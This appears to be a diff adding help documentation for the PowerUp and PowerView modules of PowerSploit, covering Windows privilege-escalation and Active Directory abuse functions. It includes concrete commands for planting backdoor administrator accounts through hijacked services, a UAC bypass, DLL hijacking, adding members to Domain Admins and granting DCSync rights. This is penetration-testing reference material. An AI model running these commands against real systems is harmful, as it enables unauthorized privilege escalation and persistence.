Install-ServiceBinary -Name VulnSVC
```
Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds a local Administrator (john/Password123!).
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service VulnSVC | Install-ServiceBinary
```
Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds a local Administrator (john/Password123!).
### -------------------------- EXAMPLE 3 --------------------------
```
Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
```
Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds TESTLAB\john to the Administrators local group.
### -------------------------- EXAMPLE 4 --------------------------
```
Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
```
Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds a local Administrator (backdoor/Password123!).
### -------------------------- EXAMPLE 5 --------------------------
```
Install-ServiceBinary -Name VulnSVC -Command "net ..."
```
Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that executes a custom command.
## PARAMETERS
### -Name
The service name the EXE will be running under.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -UserName
The \[domain\\\]username to add.
If not given, it defaults to "john".
Domain users are not created, only added to the specified localgroup.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```
### -Password
The password to set for the added user.
If not given, it defaults to "Password123!"
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```
### -LocalGroup
Local group name to add the user to (default of 'Administrators').
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object specifying the user/password to add.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Command
Custom command to execute instead of user creation.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.ServiceBinary.Installed
## NOTES
## RELATED LINKS
+63
View File
@@ -0,0 +1,63 @@
# Invoke-PrivescAudit
## SYNOPSIS
Executes all functions that check for various Windows privilege escalation opportunities.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Invoke-PrivescAudit [-HTMLReport]
```
## DESCRIPTION
Executes all functions that check for various Windows privilege escalation opportunities.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-PrivescAudit
```
Runs all escalation checks and outputs a status report for discovered issues.
### -------------------------- EXAMPLE 2 --------------------------
```
Invoke-PrivescAudit -HTMLReport
```
Runs all escalation checks and outputs a status report to SYSTEM.username.html
detailing any discovered issues.
## PARAMETERS
### -HTMLReport
Switch.
Write a HTML version of the report to SYSTEM.username.html.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### System.String
## NOTES
## RELATED LINKS
+194
View File
@@ -0,0 +1,194 @@
# Invoke-ServiceAbuse
## SYNOPSIS
Abuses a function the current user has configuration rights on in order
to add a local administrator or execute a custom command.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath
## SYNTAX
```
Invoke-ServiceAbuse [-Name] <String[]> [-UserName <String>] [-Password <String>] [-LocalGroup <String>]
[-Credential <PSCredential>] [-Command <String>] [-Force]
```
## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
user has configuration modification rights on and executes a series of automated actions to
execute commands as SYSTEM.
First, the service is enabled if it was set as disabled and the
original service binary path and configuration state are preserved.
Then the service is stopped
and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a
series of commands, the service is started, stopped, and the next command is configured.
After
completion, the original service configuration is restored and a custom object is returned
that captures the service abused and commands run.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-ServiceAbuse -Name VulnSVC
```
Abuses service 'VulnSVC' to add a localuser "john" with password
"Password123!
to the machine and local administrator group
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service VulnSVC | Invoke-ServiceAbuse
```
Abuses service 'VulnSVC' to add a localuser "john" with password
"Password123!
to the machine and local administrator group
### -------------------------- EXAMPLE 3 --------------------------
```
Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john"
```
Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
local adminisrtators group.
### -------------------------- EXAMPLE 4 --------------------------
```
Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users"
```
Abuses service 'VulnSVC' to add a localuser "backdoor" with password
"password" to the machine and local "Power Users" group
### -------------------------- EXAMPLE 5 --------------------------
```
Invoke-ServiceAbuse -Name VulnSVC -Command "net ..."
```
Abuses service 'VulnSVC' to execute a custom command.
## PARAMETERS
### -Name
An array of one or more service names to abuse.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -UserName
The \[domain\\\]username to add.
If not given, it defaults to "john".
Domain users are not created, only added to the specified localgroup.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```
### -Password
The password to set for the added user.
If not given, it defaults to "Password123!"
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```
### -LocalGroup
Local group name to add the user to (default of 'Administrators').
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object specifying the user/password to add.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Command
Custom command to execute instead of user creation.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Force
Switch.
Force service stopping, even if other services are dependent.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.AbusedService
## NOTES
## RELATED LINKS
+85
View File
@@ -0,0 +1,85 @@
# Invoke-WScriptUACBypass
## SYNOPSIS
Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.
Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Invoke-WScriptUACBypass [-Command] <String> [-WindowStyle <String>]
```
## DESCRIPTION
Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute
VBScript using the wscript executable with the new manifest.
The VBScript executed by
C:\Windows\wscript.exe will run elevated.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
"
```
Launches the specified PowerShell encoded command in high-integrity.
### -------------------------- EXAMPLE 2 --------------------------
```
Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible'
```
Spawns a high integrity cmd.exe.
## PARAMETERS
### -Command
The shell command you want wscript.exe to run elevated.
```yaml
Type: String
Parameter Sets: (All)
Aliases: CMD
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -WindowStyle
Whether to display or hide the window for the executed '-Command X'.
Accepted values are 'Hidden' and 'Normal'/'Visible.
Default is 'Hidden'.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Hidden
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
https://github.com/Vozzie/uacscript
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1](http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
https://github.com/Vozzie/uacscript
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1)
+87
View File
@@ -0,0 +1,87 @@
# Restore-ServiceBinary
## SYNOPSIS
Restores a service binary backed up by Install-ServiceBinary.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath
## SYNTAX
```
Restore-ServiceBinary [-Name] <String> [[-BackupPath] <String>]
```
## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
checks for the existence of an "OriginalServiceBinary.exe.bak" in the service
binary location.
If it exists, the backup binary is restored to the original
binary path.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Restore-ServiceBinary -Name VulnSVC
```
Restore the original binary for the service 'VulnSVC'.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service VulnSVC | Restore-ServiceBinary
```
Restore the original binary for the service 'VulnSVC'.
### -------------------------- EXAMPLE 3 --------------------------
```
Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
```
Restore the original binary for the service 'VulnSVC' from a custom location.
## PARAMETERS
### -Name
The service name to restore a binary for.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -BackupPath
Optional manual path to the backup binary.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.ServiceBinary.Installed
## NOTES
## RELATED LINKS
+92
View File
@@ -0,0 +1,92 @@
# Set-ServiceBinaryPath
## SYNOPSIS
Sets the binary path for a service to a specified value.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect
## SYNTAX
```
Set-ServiceBinaryPath [-Name] <String[]> [-Path] <String>
```
## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a
service handle to the service with ConfigControl access using the GetServiceHandle
Win32 API call.
ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath)
to the string value specified by binPath, and the handle is closed off.
Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
Dacl field to each object.
It does this by opening a handle with ReadControl for the
service with using the GetServiceHandle Win32 API call and then uses
QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add'
```
Sets the binary path for 'VulnSvc' to be a command to add a user.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add'
```
Sets the binary path for 'VulnSvc' to be a command to add a user.
## PARAMETERS
### -Name
An array of one or more service names to set the binary path for.
Required.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Path
The new binary path (lpBinaryPathName) to set for the specified service.
Required.
```yaml
Type: String
Parameter Sets: (All)
Aliases: BinaryPath, binPath
Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### System.Boolean
$True if configuration succeeds, $False otherwise.
## NOTES
## RELATED LINKS
[https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx)
+112
View File
@@ -0,0 +1,112 @@
# Test-ServiceDaclPermission
## SYNOPSIS
Tests one or more passed services or service names against a given permission set,
returning the service objects where the current user have the specified permissions.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Add-ServiceDacl
## SYNTAX
```
Test-ServiceDaclPermission [-Name] <String[]> [-Permissions <String[]>] [-PermissionSet <String>]
```
## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
a service Dacl to the service object with Add-ServiceDacl.
All group SIDs for the current
user are enumerated services where the user has some type of permission are filtered.
The
services are then filtered against a specified set of permissions, and services where the
current user have the specified permissions are returned.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-Service | Test-ServiceDaclPermission
```
Return all service objects where the current user can modify the service configuration.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
```
Return all service objects that the current user can restart.
### -------------------------- EXAMPLE 3 --------------------------
```
Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
```
Return the VulnSVC object if the current user has start permissions.
## PARAMETERS
### -Name
An array of one or more service names to test against the specified permission set.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName, Service
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Permissions
A manual set of permission to test again.
One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PermissionSet
A pre-defined permission set to test a specified service against.
'ChangeConfig', 'Restart', or 'AllAccess'.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: ChangeConfig
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### ServiceProcess.ServiceController
## NOTES
## RELATED LINKS
[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)
+173
View File
@@ -0,0 +1,173 @@
# Write-HijackDll
## SYNOPSIS
Patches in the path to a specified .bat (containing the specified command) into a
pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Write-HijackDll [-DllPath] <String> [[-Architecture] <String>] [[-BatPath] <String>] [[-UserName] <String>]
[[-Password] <String>] [[-LocalGroup] <String>] [[-Credential] <PSCredential>] [[-Command] <String>]
```
## DESCRIPTION
First builds a self-deleting .bat file that executes the specified -Command or local user,
to add and writes the.bat out to -BatPath.
The BatPath is then patched into a pre-compiled
C++ DLL that is built to be hijackable by the IKEEXT service.
There are two DLLs, one for
x86 and one for x64, and both are contained as base64-encoded strings.
The DLL is then
written out to the specified OutputFile.
## EXAMPLES
### Example 1
```
PS C:\> {{ Add example code here }}
```
{{ Add example description here }}
## PARAMETERS
### -DllPath
File name to write the generated DLL out to.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Architecture
The Architecture to generate for the DLL, x86 or x64.
If not specified, PowerUp
will try to automatically determine the correct architecture.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -BatPath
Path to the .bat for the DLL to launch.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserName
The \[domain\\\]username to add.
If not given, it defaults to "john".
Domain users are not created, only added to the specified localgroup.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```
### -Password
The password to set for the added user.
If not given, it defaults to "Password123!"
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```
### -LocalGroup
Local group name to add the user to (default of 'Administrators').
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 6
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object specifying the user/password to add.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Command
Custom command to execute instead of user creation.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 8
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.HijackableDLL
## NOTES
## RELATED LINKS
+191
View File
@@ -0,0 +1,191 @@
# Write-ServiceBinary
## SYNOPSIS
Patches in the specified command to a pre-compiled C# service executable and
writes the binary out to the specified ServicePath location.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Write-ServiceBinary [-Name] <String> [-UserName <String>] [-Password <String>] [-LocalGroup <String>]
[-Credential <PSCredential>] [-Command <String>] [-Path <String>]
```
## DESCRIPTION
Takes a pre-compiled C# service binary and patches in the appropriate commands needed
for service abuse.
If a -UserName/-Password or -Credential is specified, the command
patched in creates a local user and adds them to the specified -LocalGroup, otherwise
the specified -Command is patched in.
The binary is then written out to the specified
-ServicePath.
Either -Name must be specified for the service, or a proper object from
Get-Service must be passed on the pipeline in order to patch in the appropriate service
name the binary will be running under.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Write-ServiceBinary -Name VulnSVC
```
Writes a service binary to service.exe in the local directory for VulnSVC that
adds a local Administrator (john/Password123!).
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service VulnSVC | Write-ServiceBinary
```
Writes a service binary to service.exe in the local directory for VulnSVC that
adds a local Administrator (john/Password123!).
### -------------------------- EXAMPLE 3 --------------------------
```
Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
```
Writes a service binary to service.exe in the local directory for VulnSVC that adds
TESTLAB\john to the Administrators local group.
### -------------------------- EXAMPLE 4 --------------------------
```
Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
```
Writes a service binary to service.exe in the local directory for VulnSVC that
adds a local Administrator (backdoor/Password123!).
### -------------------------- EXAMPLE 5 --------------------------
```
Write-ServiceBinary -Name VulnSVC -Command "net ..."
```
Writes a service binary to service.exe in the local directory for VulnSVC that
executes a custom command.
## PARAMETERS
### -Name
The service name the EXE will be running under.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -UserName
The \[domain\\\]username to add.
If not given, it defaults to "john".
Domain users are not created, only added to the specified localgroup.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```
### -Password
The password to set for the added user.
If not given, it defaults to "Password123!"
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```
### -LocalGroup
Local group name to add the user to (default of 'Administrators').
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object specifying the user/password to add.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Command
Custom command to execute instead of user creation.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Path
Path to write the binary out to, defaults to 'service.exe' in the local directory.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: "$(Convert-Path .)\service.exe"
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.ServiceBinary
## NOTES
## RELATED LINKS
+56
View File
@@ -0,0 +1,56 @@
# Write-UserAddMSI
## SYNOPSIS
Writes out a precompiled MSI installer that prompts for a user/group addition.
This function can be used to abuse Get-RegistryAlwaysInstallElevated.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Write-UserAddMSI [[-Path] <String>]
```
## DESCRIPTION
Writes out a precompiled MSI installer that prompts for a user/group addition.
This function can be used to abuse Get-RegistryAlwaysInstallElevated.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Write-UserAddMSI
```
Writes the user add MSI to the local directory.
## PARAMETERS
### -Path
{{Fill Path Description}}
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName
Required: False
Position: 1
Default value: UserAdd.msi
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerUp.UserAddMSI
## NOTES
## RELATED LINKS
+55
View File
@@ -0,0 +1,55 @@
## PowerUp
PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations.
Running Invoke-AllChecks will output any identifiable vulnerabilities along
with specifications for any abuse functions. The -HTMLReport flag will also
generate a COMPUTER.username.html version of the report.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
### Token/Privilege Enumeration/Abuse:
Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID
Enable-Privilege - enables a specific privilege for the current process
### Service Enumeration/Abuse:
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
Get-UnquotedService - returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
Get-ModifiableService - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
Set-ServiceBinaryPath - sets the binary path for a service to a specified value
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
### DLL Hijacking:
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
Write-HijackDll - writes out a hijackable DLL
### Registry Checks:
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
### Miscellaneous Checks:
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
### Other Helpers/Meta-Functions:
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks)
+142
View File
@@ -0,0 +1,142 @@
# Add-DomainGroupMember
## SYNOPSIS
Adds a domain user (or group) to an existing domain group, assuming
appropriate permissions to do so.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
## SYNTAX
```
Add-DomainGroupMember [-Identity] <String> -Members <String[]> [-Domain <String>] [-Credential <PSCredential>]
```
## DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object.
For
each entry in -Members, each member identity is similarly searched for and added
to the group.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
```
Adds harmj0y to 'Domain Admins' in the current domain.
### -------------------------- EXAMPLE 2 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
### -------------------------- EXAMPLE 3 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
## PARAMETERS
### -Identity
A group SamAccountName (e.g.
Group1), DistinguishedName (e.g.
CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to add members to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: GroupName, GroupIdentity
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Members
One or more member identities, i.e.
SamAccountName (e.g.
Group1), DistinguishedName
(e.g.
CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114),
or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: MemberIdentity, Member, DistinguishedName
Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/)
+361
View File
@@ -0,0 +1,361 @@
# Add-DomainObjectAcl
## SYNOPSIS
Adds an ACL for a specific active directory object.
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
## SYNTAX
```
Add-DomainObjectAcl [[-TargetIdentity] <String[]>] [-TargetDomain <String>] [-TargetLDAPFilter <String>]
[-TargetSearchBase <String>] -PrincipalIdentity <String[]> [-PrincipalDomain <String>] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>] [-Rights <String>] [-RightsGUID <Guid>]
```
## DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity.
Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID.
These rights are granted on the target
object for the specified -PrincipalIdentity.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
```
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
